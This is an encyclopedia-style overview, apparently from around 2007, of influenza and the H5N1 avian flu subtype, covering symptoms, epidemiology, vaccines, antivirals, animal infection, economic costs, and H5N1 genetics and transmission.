          Common symptoms of the flu such as fever, headaches, and fatigue come from the huge amounts of proinflammatory cytokines and chemokines (such as interferon or tumor necrosis factor) produced from influenza-infected cells. In contrast to the rhinovirus that causes the common cold, influenza does cause tissue damage, so symptoms are not entirely due to the inflammatory response.


          


          Laboratory tests


          The available laboratory tests for influenza continue to improve. The United States Centers for Disease Control and Prevention (CDC) maintains an up-to-date summary of available laboratory tests. According to the CDC, rapid diagnostic tests have a sensitivity of 7075% and specificity of 9095% when compared with viral culture. These tests may be especially useful during the influenza season (prevalence=25%) but in the absence of a local outbreak, or peri-influenza season (prevalence=10%).


          


          Epidemiology


          


          Seasonal variations
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          Influenza reaches peak prevalence in winter, and because the Northern and Southern Hemispheres have winter at different times of the year, there are actually two different flu seasons each year. This is why the World Health Organization (assisted by the National Influenza Centers) makes recommendations for two different vaccine formulations every year; one for the Northern, and one for the Southern Hemisphere.


          It is not completely clear why outbreaks of the flu occur seasonally rather than uniformly throughout the year. One possible explanation is that, because people are indoors more often during the winter, they are in close contact more often, and this promotes transmission from person to person. Another is that cold temperatures lead to drier air, which may dehydrate mucus, preventing the body from effectively expelling virus particles. The virus may also survive longer on exposed surfaces (doorknobs, countertops, etc.) in colder temperatures. Increased travel due to the Northern Hemisphere winter holiday season may also play a role. A contributing factor is that aerosol transmission of the virus is highest in cold environments (less than 5C) with low humidity. However, seasonal changes in infection rates also occur in tropical regions, and these peaks of infection are seen mainly during the rainy season. Seasonal changes in contact rates from school terms, which are a major factor in other childhood diseases such as measles and pertussis, may also play a role in the flu. A combination of these small seasonal effects may be amplified by dynamical resonance with the endogenous disease cycles. H5N1 exhibits seasonality in both humans and birds.


          An alternative hypothesis to explain seasonality in influenza infections is an effect of vitamin D levels on immunity to the virus. This idea was first proposed by Robert Edgar Hope-Simpson in 1965. He proposed that the cause of influenza epidemics during winter may be connected to seasonal fluctuations of vitamin D, which is produced in the skin under the influence of solar (or artificial) UV radiation. This could explain why influenza occurs mostly in winter and during the tropical rainy season, when people stay indoors, away from the sun, and their vitamin D levels fall.


          


          Epidemic and pandemic spread
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          As influenza is caused by a variety of species and strains of viruses, in any given year some strains can die out while others create epidemics, while yet another strain can cause a pandemic. Typically, in a year's normal two flu seasons (one per hemisphere), there are between three and five million cases of severe illness and up to 500,000 deaths worldwide, which by some definitions is a yearly influenza epidemic. Although the incidence of influenza can vary widely between years, approximately 36,000 deaths and more than 200,000 hospitalizations are directly associated with influenza every year in America. Every ten to twenty years, a pandemic occurs, which infects a large proportion of the world's population and can kill tens of millions of people (see history section).


          New influenza viruses are constantly being produced by mutation or by reassortment. Mutations can cause small changes in the hemagglutinin and neuraminidase antigens on the surface of the virus. This is called antigenic drift, which creates an increasing variety of strains over time until one of the variants eventually achieves higher fitness, becomes dominant, and rapidly sweeps through the human populationoften causing an epidemic. In contrast, when influenza viruses reassort, they may acquire new antigensfor example by reassortment between avian strains and human strains; this is called antigenic shift. If a human influenza virus is produced with entirely novel antigens, everybody will be susceptible, and the novel influenza will spread uncontrollably, causing a pandemic. In contrast to this model of pandemics based on antigenic drift and shift, an alternative approach has been proposed where the periodic pandemics are produced by interactions of a fixed set of viral strains with a human population with a constantly changing set of immunities to different viral strains.


          


          Prevention


          


          Vaccination and infection control


          Vaccination against influenza with an influenza vaccine is often recommended for high-risk groups, such as children and the elderly. Influenza vaccines can be produced in several ways; the most common method is to grow the virus in fertilized hen eggs. After purification, the virus is inactivated (for example, by treatment with detergent) to produce an inactivated-virus vaccine. Alternatively, the virus can be grown in eggs until it loses virulence and the avirulent virus given as a live vaccine. The effectiveness of these influenza vaccines is variable. Due to the high mutation rate of the virus, a particular influenza vaccine usually confers protection for no more than a few years. Every year, the World Health Organization predicts which strains of the virus are most likely to be circulating in the next year, allowing pharmaceutical companies to develop vaccines that will provide the best immunity against these strains. Vaccines have also been developed to protect poultry from avian influenza. These vaccines can be effective against multiple strains and are used either as part of a preventative strategy, or combined with culling in attempts to eradicate outbreaks.


          It is possible to get vaccinated and still get influenza. The vaccine is reformulated each season for a few specific flu strains but cannot possibly include all the strains actively infecting people in the world for that season. It takes about six months for the manufacturers to formulate and produce the millions of doses required to deal with the seasonal epidemics; occasionally, a new or overlooked strain becomes prominent during that time and infects people although they have been vaccinated (as by the H3N2 Fujian flu in the 20032004 flu season). It is also possible to get infected just before vaccination and get sick with the very strain that the vaccine is supposed to prevent, as the vaccine takes about two weeks to become effective.


          The 20062007 season was the first in which the CDC had recommended that children younger than 59 months receive the annual influenza vaccine. Vaccines can cause the immune system to react as if the body were actually being infected, and general infection symptoms (many cold and flu symptoms are just general infection symptoms) can appear, though these symptoms are usually not as severe or long-lasting as influenza. The most dangerous side-effect is a severe allergic reaction to either the virus material itself or residues from the hen eggs used to grow the influenza; however, these reactions are extremely rare.
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          Good personal health and hygiene habits are reasonably effective in avoiding and minimizing influenza. People who contract influenza are most infective between the second and third days after infection and infectivity lasts for around ten days. Children are notably more infectious than adults and shed virus from just before they develop symptoms until two weeks after infection.


          Since influenza spreads through aerosols and contact with contaminated surfaces, it is important to persuade people to cover their mouths while sneezing and to wash their hands regularly. Surface sanitizing is recommended in areas where influenza may be present on surfaces. Alcohol is an effective sanitizer against influenza viruses, while quaternary ammonium compounds can be used with alcohol to increase the duration of the sanitizing action. In hospitals, quaternary ammonium compounds and halogen-releasing agents such as sodium hypochlorite are commonly used to sanitize rooms or equipment that have been occupied by patients with influenza symptoms. During past pandemics, closing schools, churches and theaters slowed the spread of the virus but did not have a large effect on the overall death rate.


          


          Treatment


          People with the flu are advised to get plenty of rest, drink a lot of liquids, avoid using alcohol and tobacco and, if necessary, take medications such as paracetamol (acetaminophen) to relieve the fever and muscle aches associated with the flu. Children and teenagers with flu symptoms (particularly fever) should avoid taking aspirin during an influenza infection (especially influenza type B), because doing so can lead to Reye's syndrome, a rare but potentially fatal disease of the liver. Since influenza is caused by a virus, antibiotics have no effect on the infection; unless prescribed for secondary infections such as bacterial pneumonia, they may lead to resistant bacteria. Antiviral medication is sometimes effective, but viruses can develop resistance to the standard antiviral drugs.


          The two classes of anti-virals are neuraminidase inhibitors and M2 inhibitors ( adamantane derivatives). Neuraminidase inhibitors are currently preferred for flu virus infections. The CDC recommended against using M2 inhibitors during the 200506 influenza season.


          


          Neuraminidase inhibitors


          Antiviral drugs such as oseltamivir (trade name Tamiflu) and zanamivir (trade name Relenza) are neuraminidase inhibitors that are designed to halt the spread of the virus in the body. These drugs are often effective against both influenza A and B. The Cochrane Collaboration reviewed these drugs and concluded that they reduce symptoms and complications. Different strains of influenza viruses have differing degrees of resistance against these antivirals, and it is impossible to predict what degree of resistance a future pandemic strain might have.


          


          M2 inhibitors (adamantanes)


          The antiviral drugs amantadine and rimantadine are designed to block a viral ion channel ( M2 protein) and prevent the virus from infecting cells. These drugs are sometimes effective against influenza A if given early in the infection but are always ineffective against influenza B. Measured resistance to amantadine and rimantadine in American isolates of H3N2 has increased to 91% in 2005.


          


          Research
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          Research on influenza includes studies on molecular virology, how the virus produces disease ( pathogenesis), host immune responses, viral genomics, and how the virus spreads ( epidemiology). These studies help in developing influenza countermeasures; for example, a better understanding of the body's immune system response helps vaccine development, and a detailed picture of how influenza invades cells aids the development of antiviral drugs. One important basic research program is the Influenza Genome Sequencing Project, which is creating a library of influenza sequences; this library should help clarify which factors make one strain more lethal than another, which genes most affect immunogenicity, and how the virus evolves over time.


          Research into new vaccines is particularly important, as current vaccines are very slow and expensive to produce and must be reformulated every year. The sequencing of the influenza genome and recombinant DNA technology may accelerate the generation of new vaccine strains by allowing scientists to substitute new antigens into a previously developed vaccine strain. New technologies are also being developed to grow viruses in cell culture, which promises higher yields, less cost, better quality and surge capacity. Research on a universal influenza A vaccine, targeted against the external domain of the transmembrane viral M2 protein (M2e), is being done at the University of Ghent by Walter Fiers, Xavier Saelens and their team and has now successfully concluded Phase I clinical trials.


          The US government has purchased several million doses of vaccine from Sanofi Pasteur and Chiron Corporation, meant to be used in case of an influenza pandemic of H5N1 avian influenza and is conducting clinical trials with these vaccines. The UK government is also stockpiling millions of doses of antiviral drugs (oseltamivir (Tamiflu), zanimivir (Relanza)) to give to its citizens in the event of an outbreak; the UK Health Protection Agency has also gathered a limited amount of HPAI H5N1 vaccines for experimental purposes.
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          Influenza infects many animal species, and transfer of viral strains between species can occur. Birds are thought to be the main animal reservoirs of influenza viruses. Sixteen forms of hemagglutinin and nine forms of neuraminidase have been identified. All known subtypes (HxNy) are found in birds, but many subtypes are endemic in humans, dogs, horses, and pigs; populations of camels, ferrets, cats, seals, mink, and whales also show evidence of prior infection or exposure to influenza. Variants of flu virus are sometimes named according to the species the strain is endemic in or adapted to. The main variants named using this convention are: Bird Flu, Human Flu, Swine Flu, Horse Flu and Dog Flu. ( Cat flu generally refers to Feline viral rhinotracheitis or Feline calicivirus and not infection from an influenza virus.) In pigs, horses and dogs, influenza symptoms are similar to humans, with cough, fever and loss of appetite. The frequency of animal diseases are not as well-studied as human infection, but an outbreak of influenza in harbour seals caused approximately 500 seal deaths off the New England coast in 19791980. On the other hand, outbreaks in pigs are common and do not cause severe mortality.


          Flu symptoms in birds are variable and can be unspecific. The symptoms following infection with low-pathogenicity avian influenza may be as mild as ruffled feathers, a small reduction in egg production, or weight loss combined with minor respiratory disease. Since these mild symptoms can make diagnosis in the field difficult, tracking the spread of avian influenza requires laboratory testing of samples from infected birds. Some strains such as Asian H9N2 are highly virulent to poultry and may cause more extreme symptoms and significant mortality. In its most highly pathogenic form, influenza in chickens and turkeys produces a sudden appearance of severe symptoms and almost 100% mortality within two days. As the virus spreads rapidly in the crowded conditions seen in the intensive farming of chickens and turkeys, these outbreaks can cause large economic losses to poultry farmers.


          An avian-adapted, highly pathogenic strain of H5N1 (called HPAI A(H5N1), for "highly pathogenic avian influenza virus of type A of subtype H5N1") causes H5N1 flu, commonly known as "avian influenza" or simply "bird flu", and is endemic in many bird populations, especially in Southeast Asia. This Asian lineage strain of HPAI A(H5N1) is spreading globally. It is epizootic (an epidemic in non-humans) and panzootic (a disease affecting animals of many species, especially over a wide area), killing tens of millions of birds and spurring the culling of hundreds of millions of other birds in an attempt to control its spread. Most references in the media to "bird flu" and most references to H5N1 are about this specific strain.


          At present, HPAI A(H5N1) is an avian disease, and there is no evidence suggesting efficient human-to-human transmission of HPAI A(H5N1). In almost all cases, those infected have had extensive physical contact with infected birds. In the future, H5N1 may mutate or reassort into a strain capable of efficient human-to-human transmission. Due to its high lethality and virulence, its endemic presence, and its large and increasing biological host reservoir, the H5N1 virus was the world's pandemic threat in the 200607 flu season, and billions of dollars are being raised and spent researching H5N1 and preparing for a potential influenza pandemic.


          


          Economic impact


          Influenza produces direct costs due to lost productivity and associated medical treatment, as well as indirect costs of preventative measures. In the United States, influenza is responsible for a total cost of over $10 billion per year, while it has been estimated that a future pandemic could cause hundreds of billions of dollars in direct and indirect costs. However, the economic impacts of past pandemics have not been intensively studied, and some authors have suggested that the Spanish influenza actually had a positive long-term effect on per-capita income growth, despite a large reduction in the working population and severe short-term depressive effects. Other studies have attempted to predict the costs of a pandemic as serious as the 1918 Spanish flu on the U.S. economy, where 30% of all workers became ill, and 2.5% were killed. A 30% sickness rate and a three-week length of illness would decrease the gross domestic product by 5%. Additional costs would come from medical treatment of 18 million to 45 million people, and total economic costs would be approximately $700 billion.


          Preventative costs are also high. Governments worldwide have spent billions of U.S. dollars preparing and planning for a potential H5N1 avian influenza pandemic, with costs associated with purchasing drugs and vaccines as well as developing disaster drills and strategies for improved border controls. On November 1, 2005, President George W. Bush unveiled the National Strategy to Safeguard Against the Danger of Pandemic Influenza backed by a request to Congress for $7.1 billion to begin implementing the plan. Internationally, on January 18, 2006, donor nations pledged US$2 billion to combat bird flu at the two-day International Pledging Conference on Avian and Human Influenza held in China.


          As of 2006, over ten billion dollars have been spent, and over two hundred million birds have been killed to try to contain H5N1 avian influenza. However, as these efforts have been largely ineffective at controlling the spread of the virus, other approaches are being tried: for example, the Vietnamese government in 2005 adopted a combination of mass poultry vaccination, disinfecting, culling, information campaigns and bans on live poultry in cities. As a result of such measures, the cost of poultry farming has increased, while the cost to consumers has gone down due to demand for poultry falling below supply. This has resulted in devastating losses for many farmers. Poor poultry farmers cannot afford mandated measures which isolate their bird livestock from contact with wild birds (among other measures), thus risking losing their livelihood altogether. Multinational poultry farming is increasingly becoming unprofitable as H5N1 avian influenza becomes endemic in wild birds worldwide. Financial ruin for poor poultry farmers, which can be as severe as threatening starvation, has caused some to commit suicide and many others to stop cooperating with efforts to deal with this virusfurther increasing the human toll, the spread of the disease, and the chances of a pandemic mutation.
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          Influenza A virus subtype H5 N1, also known as A(H5N1) or simply H5N1, is a subtype of the Influenza A virus which can cause illness in humans and many other animal species. A bird-adapted strain of H5N1, called HPAI A(H5N1) for "highly pathogenic avian influenza virus of type A of subtype H5N1", is the causative agent of H5N1 flu, commonly known as " avian influenza" or "bird flu". It is enzootic in many bird populations, especially in Southeast Asia. One strain of HPAI A(H5N1) is spreading globally after first appearing in Asia. It is epizootic (an epidemic in nonhumans) and panzootic (affecting animals of many species, especially over a wide area), killing tens of millions of birds and spurring the culling of hundreds of millions of others to stem its spread. Most references to "bird flu" and H5N1 in the popular media refer to this strain.


          


          Overview


          HPAI A(H5N1) is an avian disease. There is some evidence of limited human-to-human transmission of the virus. A risk factor for contracting the virus is handling of infected poultry, but transmission of the virus from infected birds to humans is inefficient. Still, around 60% of humans known to have been infected with the current Asian strain of HPAI A(H5N1) have died from it, and H5N1 may mutate or reassort into a strain capable of efficient human-to-human transmission. In 2003, world-renowned virologist Robert Webster published an article titled "The world is teetering on the edge of a pandemic that could kill a large fraction of the human population" in American Scientist. He called for adequate resources to fight what he sees as a major world threat to possibly billions of lives. On September 29, 2005, David Nabarro, the newly-appointed Senior United Nations System Coordinator for Avian and Human Influenza, warned the world that an outbreak of avian influenza could kill anywhere between 5 million and 150 million people. Experts have identified key events (creating new clades, infecting new species, spreading to new areas) marking the progression of an avian flu virus towards becoming pandemic, and many of those key events have occurred more rapidly than expected.


          Due to the high lethality and virulence of HPAI A(H5N1), its endemic presence, its increasingly large host reservoir, and its significant ongoing mutations, the H5N1 virus is the world's largest current pandemic threat, and billions of dollars are being spent researching H5N1 and preparing for a potential influenza pandemic. At least 12 companies and 17 governments are developing pre-pandemic influenza vaccines in 28 different clinical trials that, if successful, could turn a deadly pandemic infection into a nondeadly one. Full-scale production of a vaccine that could prevent any illness at all from the strain would require at least three months after the virus's emergence to begin, but it is hoped that vaccine production could increase until one billion doses were produced by one year after the initial identification of the virus.


          H5N1 may cause more than one influenza pandemic as it is expected to continue mutating in birds regardless of whether humans develop herd immunity to a future pandemic strain. Influenza pandemics from its genetic offspring may include influenza A virus subtypes other than H5N1. While genetic analysis of the H5N1 virus shows that influenza pandemics from its genetic offspring can easily be far more lethal than the Spanish Flu pandemic, planning for a future influenza pandemic is based on what can be done and there is no higher Pandemic Severity Index level than a Category 5 pandemic which, roughly speaking, is any pandemic as bad as the Spanish flu or worse; and for which all intervention measures are to be used.


          


          Genetics
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          The first known strain of HPAI A(H5N1) (called A/chicken/Scotland/59) killed two flocks of chickens in Scotland in 1959; but that strain was very different from the current highly pathogenic strain of H5N1. The dominant strain of HPAI A(H5N1) in 2004 evolved from 1999 to 2002 creating the Z genotype. It has also been called "Asian lineage HPAI A(H5N1)".


          Asian lineage HPAI A(H5N1) is divided into two antigenic clades. "Clade 1 includes human and bird isolates from Vietnam, Thailand, and Cambodia and bird isolates from Laos and Malaysia. Clade 2 viruses were first identified in bird isolates from China, Indonesia, Japan, and South Korea before spreading westward to the Middle East, Europe, and Africa. The clade 2 viruses have been primarily responsible for human H5N1 infections that have occurred during late 2005 and 2006, according to WHO. Genetic analysis has identified six subclades of clade 2, three of which have a distinct geographic distribution and have been implicated in human infections: Map


          
            	Subclade 1, Indonesia


            	Subclade 2, Europe, Middle East, and Africa (called EMA)


            	Subclade 3, China"

          


          A 2007 study focused on the EMA subclade has shed further light on the EMA mutations. "The 36 new isolates reported here greatly expand the amount of whole-genome sequence data available from recent avian influenza (H5N1) isolates. Before our project, GenBank contained only 5 other complete genomes from Europe for the 20042006 period, and it contained no whole genomes from the Middle East or northern Africa. Our analysis showed several new findings. First, all European, Middle Eastern, and African samples fall into a clade that is distinct from other contemporary Asian clades, all of which share common ancestry with the original 1997 Hong Kong strain. Phylogenetic trees built on each of the 8 segments show a consistent picture of 3 lineages, as illustrated by the HA tree shown in Figure 1. Two of the clades contain exclusively Vietnamese isolates; the smaller of these, with 5 isolates, we label V1; the larger clade, with 9 isolates, is V2. The remaining 22 isolates all fall into a third, clearly distinct clade, labeled EMA, which comprises samples from Europe, the Middle East, and Africa. Trees for the other 7 segments display a similar topology, with clades V1, V2, and EMA clearly separated in each case. Analyses of all available complete influenza (H5N1) genomes and of 589 HA sequences placed the EMA clade as distinct from the major clades circulating in People's Republic of China, Indonesia, and Southeast Asia."


          


          Terminology


          H5N1 isolates are identified like this actual HPAI A(H5N1) example, A/chicken/Nakorn-Patom/Thailand/CU-K2/04(H5N1):


          
            	A stands for the species of influenza (A, B or C).


            	chicken is the species the isolate was found in


            	Nakorn-Patom/Thailand is the place this specific virus was isolated


            	CU-K2 identifies it from other influenza viruses isolated at the same place


            	04 represents the year 2004


            	H5 stands for the fifth of several known types of the protein hemagglutinin.


            	N1 stands for the first of several known types of the protein neuraminidase.

          


          (Other examples: A/duck/Hong Kong/308/78(H5N3), A/avian/NY/01(H5N2), A/chicken/Mexico/31381-3/94(H5N2), and A/ shoveler/Egypt/03(H5N2)).


          As with other avian flu viruses, H5N1 has strains called "highly pathogenic" (HP) and "low-pathogenic" (LP). Avian influenza viruses that cause HPAI are highly virulent, and mortality rates in infected flocks often approach 100%. LPAI viruses have negligible virulence, but these viruses can serve as progenitors to HPAI viruses. The current strain of H5N1 responsible for the deaths of birds across the world is an HPAI strain; all other current strains of H5N1, including a North American strain that causes no disease at all in any species, are LPAI strains. All HPAI strains identified to date have involved H5 and H7 subtypes. The distinction concerns pathogenicity in poultry, not humans. Normally a highly pathogenic avian virus is not highly pathogenic to either humans or non-poultry birds. This current deadly strain of H5N1 is unusual in being deadly to so many species, including some, like domestic cats, never previously susceptible to any influenza virus.


          


          Genetic structure and related subtypes
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          H5N1 is a subtype of the species Influenza A virus of the Influenzavirus A genus of the Orthomyxoviridae family. Like all other influenza A subtypes, the H5N1 subtype is an RNA virus. It has a segmented genome of eight negative sense, single-strands of RNA, abbreviated as PB2, PB1, PA, HA, NP, NA, MP and NS.


          HA codes for hemagglutinin, an antigenic glycoprotein found on the surface of the influenza viruses and is responsible for binding the virus to the cell that is being infected. NA codes for neuraminidase, an antigenic glycosylated enzyme found on the surface of the influenza viruses. It facilitates the release of progeny viruses from infected cells. The hemagglutinin (HA) and neuraminidase (NA) RNA strands specify the structure of proteins that are most medically relevant as targets for antiviral drugs and antibodies. HA and NA are also used as the basis for the naming of the different subtypes of influenza A viruses. This is where the H and N come from in H5N1.


          Influenza A viruses are significant for their potential for disease and death in humans and other animals. Influenza A virus subtypes that have been confirmed in humans, in order of the number of known human pandemic deaths that they have caused, include:


          
            	H1N1, which caused " Spanish flu" and currently causes seasonal human flu


            	H2N2, which caused "Asian flu"


            	H3N2, which caused "Hong Kong flu" and currently causes seasonal human flu


            	H5N1, the world's major current pandemic threat


            	H7N7, which has unusual zoonotic potential and killed one person


            	H1N2, which is currently endemic in humans and pigs and causes seasonal human flu


            	H9N2, which has infected three people


            	H7N2, which has infected two people


            	H7N3, which has infected two people


            	H10N7, which has infected two people

          


          


          Low pathogenic H5N1


          Low pathogenic avian influenza H5N1 (LPAI H5N1) also called "North American" H5N1 commonly occurs in wild birds. In most cases, it causes minor sickness or no noticeable signs of disease in birds. It is not known to affect humans at all. The only concern about it is that it is possible for it to be transmitted to poultry and in poultry mutate into a highly pathogenic strain.


          
            	1975  LPAI H5N1 was detected in a wild mallard duck and a wild blue goose in Wisconsin.

          


          
            	1981 and 1985  LPAI H5N1 was detected in ducks by the University of Minnesota conducting a sampling procedure in which sentinel ducks were monitored in cages placed in the wild for a short period of time.

          


          
            	1983  LPAI H5N1 was detected in ring-billed gulls in Pennsylvania.

          


          
            	1986 - LPAI H5N1 was detected in a wild mallard duck in Ohio.

          


          
            	2005 - LPAI H5N1 was detected in ducks in Manitoba, Canada.

          


          "In the past, there was no requirement for reporting or tracking LPAI H5 or H7 detections in wild birds so states and universities tested wild bird samples independently of USDA. Because of this, the above list of previous detections might not be all inclusive of past LPAI H5N1 detections. However, the World Organization for Animal Health (OIE) recently changed its requirement of reporting detections of avian influenza. Effective in 2006, all confirmed LPAI H5 and H7 AI subtypes must be reported to the OIE because of their potential to mutate into highly pathogenic strains. Therefore, USDA now tracks these detections in wild birds, backyard flocks, commercial flocks and live bird markets."
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          H5N1 is easily transmissible between birds facilitating a potential global spread of H5N1. While H5N1 undergoes mutation and reassortment, creating variations which can infect species not previously known to carry the virus, not all of these variant forms can infect humans. H5N1 as an avian virus preferentially binds to a type of galactose receptors that populate the avian respiratory tract from the nose to the lungs and are virtually absent in humans, occurring only in and around the alveoli, structures deep in the lungs where oxygen is passed to the blood. Therefore, the virus is not easily expelled by coughing and sneezing, the usual route of transmission.


          H5N1 is mainly spread by domestic poultry, both through the movements of infected birds and poultry products and through the use of infected poultry manure as fertilizer or feed. Humans with H5N1 have typically caught it from chickens, which were in turn infected by other poultry or waterfowl. Migrating waterfowl (wild ducks, geese and swans) carry H5N1, often without becoming sick. Many species of birds and mammals can be infected with HPAI A(H5N1), but the role of animals other than poultry and waterfowl as disease-spreading hosts is unknown.


          According to a report by the World Health Organization, H5N1 may be spread indirectly. The report stated that the virus may sometimes stick to surfaces or get kicked up in fertilizer dust to infect people.


          


          Virulence


          H5N1 has mutated into a variety of strains with differing pathogenic profiles, some pathogenic to one species but not others, some pathogenic to multiple species. Each specific known genetic variation is traceable to a virus isolate of a specific case of infection. Through antigenic drift, H5N1 has mutated into dozens of highly pathogenic varieties divided into genetic clades which are known from specific isolates, but all currently belonging to genotype Z of avian influenza virus H5N1, now the dominant genotype. H5N1 isolates found in Hong Kong in 1997 and 2001 were not consistently transmitted efficiently among birds and did not cause significant disease in these animals. In 2002 new isolates of H5N1 were appearing within the bird population of Hong Kong. These new isolates caused acute disease, including severe neurological dysfunction and death in ducks. This was the first reported case of lethal influenza virus infection in wild aquatic birds since 1961. Genotype Z emerged in 2002 through reassortment from earlier highly pathogenic genotypes of H5N1 that first infected birds in China in 1996, and first infected humans in Hong Kong in 1997. Genotype Z is endemic in birds in Southeast Asia, has created at least two clades that can infect humans, and is spreading across the globe in bird populations. Mutations are occurring within this genotype that are increasing their pathogenicity. Birds are also able to shed the virus for longer periods of time before their death, increasing the transmissibility of the virus.


          


          Transmission and host range


          
            [image: Influenza A virus, the virus that causes Avian flu. Transmission electron micrograph of negatively stained virus particles in late passage. (Source: Dr. Erskine Palmer, Centers for Disease Control and Prevention Public Health Image Library)]

            
              Influenza A virus, the virus that causes Avian flu. Transmission electron micrograph of negatively stained virus particles in late passage. (Source: Dr. Erskine Palmer, Centers for Disease Control and Prevention Public Health Image Library)
            

          


          Infected birds transmit H5N1 through their saliva, nasal secretions, feaces and blood. Other animals may become infected with the virus through direct contact with these bodily fluids or through contact with surfaces contaminated with them. H5N1 remains infectious after over 30 days at 0 C ( 32.0 F) (over one month at freezing temperature) or 6 days at 37 C ( 98.6 F) (one week at human body temperature) so at ordinary temperatures it lasts in the environment for weeks. In Arctic temperatures, it doesn't degrade at all.


          Because migratory birds are among the carriers of the highly pathogenic H5N1 virus, it is spreading to all parts of the world. H5N1 is different from all previously known highly pathogenic avian flu viruses in its ability to be spread by animals other than poultry.


          In October 2004, researchers discovered that H5N1 is far more dangerous than was previously believed. Waterfowl were revealed to be directly spreading the highly pathogenic strain of H5N1 to chickens, crows, pigeons, and other birds, and the virus was increasing its ability to infect mammals as well. From this point on, avian flu experts increasingly referred to containment as a strategy that can delay, but not ultimately prevent, a future avian flu pandemic.


          "Since 1997, studies of influenza A (H5N1) indicate that these viruses continue to evolve, with changes in antigenicity and internal gene constellations; an expanded host range in avian species and the ability to infect felids; enhanced pathogenicity in experimentally infected mice and ferrets, in which they cause systemic infections; and increased environmental stability."


          The New York Times, in an article on transmission of H5N1 through smuggled birds, reports Wade Hagemeijer of Wetlands International stating, "We believe it is spread by both bird migration and trade, but that trade, particularly illegal trade, is more important".


          The H5N1 bird flu virus can also pass through a pregnant woman's placenta to infect the fetus, researchers reported on Thursday 27 September 2007. They also found evidence of what doctors had long suspected -- that the virus not only affects the lungs, but also passes throughout the body into the gastrointestinal tract, the brain, liver, and blood cells.


          


          High mutation rate


          Influenza viruses have a relatively high mutation rate that is characteristic of RNA viruses. The segmentation of its genome facilitates genetic recombination by segment reassortment in hosts infected with two different influenza viruses at the same time. A previously uncontagious strain may then be able to pass between humans, one of several possible paths to a pandemic.


          The ability of various influenza strains to show species-selectivity is largely due to variation in the hemagglutinin genes. Genetic mutations in the hemagglutinin gene that cause single amino acid substitutions can significantly alter the ability of viral hemagglutinin proteins to bind to receptors on the surface of host cells. Such mutations in avian H5N1 viruses can change virus strains from being inefficient at infecting human cells to being as efficient in causing human infections as more common human influenza virus types. This doesn't mean that one amino acid substitution can cause a pandemic, but it does mean that one amino acid substitution can cause an avian flu virus that is not pathogenic in humans to become pathogenic in humans.


          H3N2 (" swine flu") is endemic in pigs in China, and has been detected in pigs in Vietnam, increasing fears of the emergence of new variant strains. The dominant strain of annual flu virus in January 2006 was H3N2, which is now resistant to the standard antiviral drugs amantadine and rimantadine. The possibility of H5N1 and H3N2 exchanging genes through reassortment is a major concern. If a reassortment in H5N1 occurs, it might remain an H5N1 subtype, or it could shift subtypes, as H2N2 did when it evolved into the Hong Kong Flu strain of H3N2.


          Both the H2N2 and H3N2 pandemic strains contained avian influenza virus RNA segments. "While the pandemic human influenza viruses of 1957 (H2N2) and 1968 (H3N2) clearly arose through reassortment between human and avian viruses, the influenza virus causing the 'Spanish flu' in 1918 appears to be entirely derived from an avian source".


          


          Humans and H5N1


          The earliest infections of humans by H5N1 coincided with an epizootic (an epidemic in nonhumans) of H5N1 influenza in Hong Kong's poultry population. This panzootic (a disease affecting animals of many species, especially over a wide area) outbreak was stopped by the killing of the entire domestic poultry population within the territory.
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          Symptoms in humans


          Avian influenza hemagglutinin bind alpha 2-3 sialic acid receptors while human influenza hemagglutinin bind alpha 2-6 sialic acid receptors. Usually other differences also exist. There is as yet no human form of H5N1, so all humans who have caught it so far have caught avian H5N1.


          In general, humans who catch a humanized Influenza A virus (a human flu virus of type A) usually have symptoms that include fever, cough, sore throat, muscle aches, conjunctivitis, and, in severe cases, breathing problems and pneumonia that may be fatal. The severity of the infection depends to a large part on the state of the infected person's immune system and whether the victim has been exposed to the strain before (in which case they would be partially immune). No one knows if these or other symptoms will be the symptoms of a humanized H5N1 flu.


          The reported mortality rate of highly pathogenic H5N1 avian influenza in a human is high; WHO data indicates that 60% of cases classified as H5N1 resulted in death. However, there is some evidence that the actual mortality rate of avian flu could be much lower, as there may be many people with a milder symptoms who do not seek treatment and are not counted.


          In one case, a boy with H5N1 experienced diarrhea followed rapidly by a coma without developing respiratory or flu-like symptoms. There have been studies of the levels of cytokines in humans infected by the H5N1 flu virus. Of particular concern is elevated levels of tumor necrosis factor-alpha, a protein that is associated with tissue destruction at sites of infection and increased production of other cytokines. Flu virus-induced increases in the level of cytokines is also associated with flu symptoms including fever, chills, vomiting and headache. Tissue damage associated with pathogenic flu virus infection can ultimately result in death. The inflammatory cascade triggered by H5N1 has been called a ' cytokine storm' by some, because of what seems to be a positive feedback process of damage to the body resulting from immune system stimulation. H5N1 induces higher levels of cytokines than the more common flu virus types.


          


          Treatment and prevention for humans
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          There is no highly effective treatment for H5N1 flu, but oseltamivir (commercially marketed by Roche as Tamiflu), can sometimes inhibit the influenza virus from spreading inside the user's body. This drug has become a focus for some governments and organizations trying to be seen as making preparations for a possible H5N1 pandemic. On April 20, 2006, Roche AG announced that a stockpile of three million treatment courses of Tamiflu is waiting at the disposal of the World Health Organization to be used in case of a flu pandemic; separately Roche donated two million courses to the WHO for use in developing nations that may be affected by such a pandemic but lack the ability to purchase large quantities of the drug.


          However, WHO expert Hassan al-Bushra has said:


          
            	"Even now, we remain unsure about Tamiflu's real effectiveness. As for a vaccine, work cannot start on it until the emergence of a new virus, and we predict it would take six to nine months to develop it. For the moment, we cannot by any means count on a potential vaccine to prevent the spread of a contagious influenza virus, whose various precedents in the past 90 years have been highly pathogenic".

          


          There are several H5N1 vaccines for several of the avian H5N1 varieties, but the continual mutation of H5N1 renders them of limited use to date: while vaccines can sometimes provide cross-protection against related flu strains, the best protection would be from a vaccine specifically produced for any future pandemic flu virus strain. Dr. Daniel Lucey, co-director of the Biohazardous Threats and Emerging Diseases graduate program at Georgetown University has made this point, "There is no H5N1 pandemic so there can be no pandemic vaccine". However, "pre-pandemic vaccines" have been created; are being refined and tested; and do have some promise both in furthering research and preparedness for the next pandemic. Vaccine manufacturing companies are being encouraged to increase capacity so that if a pandemic vaccine is needed, facilities will be available for rapid production of large amounts of a vaccine specific to a new pandemic strain.


          Animal and lab studies suggest that Relenza ( zanamivir), which is in the same class of drugs as Tamiflu, may also be effective against H5N1. In a study performed on mice in 2000, "zanamivir was shown to be efficacious in treating avian influenza viruses H9N2, H6N1, and H5N1 transmissible to mammals". While no one knows if zanamivir will be useful or not on a yet to exist pandemic strain of H5N1, it might be useful to stockpile zanamivir as well as oseltamivir in the event of an H5N1 influenza pandemic. Neither oseltamivir nor zanamivir can currently be manufactured in quantities that would be meaningful once efficient human transmission starts.


